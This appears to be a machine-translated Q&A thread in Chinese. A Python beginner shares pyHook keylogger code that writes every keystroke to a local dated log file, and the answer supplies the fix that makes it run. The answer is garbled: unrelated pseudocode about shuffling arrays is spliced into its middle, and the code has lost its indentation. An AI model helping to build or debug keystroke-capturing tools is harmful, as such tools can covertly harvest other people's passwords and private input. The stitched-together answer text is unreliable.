我刚开始用Python编程。我的第一个“项目”是键盘记录器。我已经阅读了这里和其他论坛发布的几行代码。我编写了这段代码,它应该记录按下的键,并在每次点击回车键时在.txt文件中开始一个新行。有人可以给我一些建议吗?
import pythoncom, pyHook
from datetime import datetime
date_today = datetime.now().strftime('%Y-%b-%d')
file_log = 'C:\\Users\\admin\\Desktop\\Python\\logs\\'+date_today+'.txt'
def OnKeyboardEvent(event):
if event.Ascii:
log = open(file_log,"a")
char = chr(event.Ascii)
if event.Ascii == 13:
log.write('\n')
log.write(char)
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent()
hm.HookKeyboard()
pythoncom.PumpMessages()
谢谢和最诚挚的问候!
编辑:该文件似乎无法启动,因为启动时未创建新进程或日志文件
答案 0 :(得分:2)
与https://sourceforge.net/p/pyhook/wiki/PyHook_Tutorial/
的示例进行比较你会看到你的行
for(i=1..50)
a[i] <— rng
end for
for(i=1..50)
b[i] <— a[i]
end for
//not being easy
b <— sort(b)
for(i=1..50)
for(j=1..50)
if(b[i]==a[j]) shuffled_list[i] <— original_list[j]
end for
end for
不应该有尾随hm.KeyDown = OnKeyboardEvent()
。您希望KeyDown获取函数,而不是函数的结果。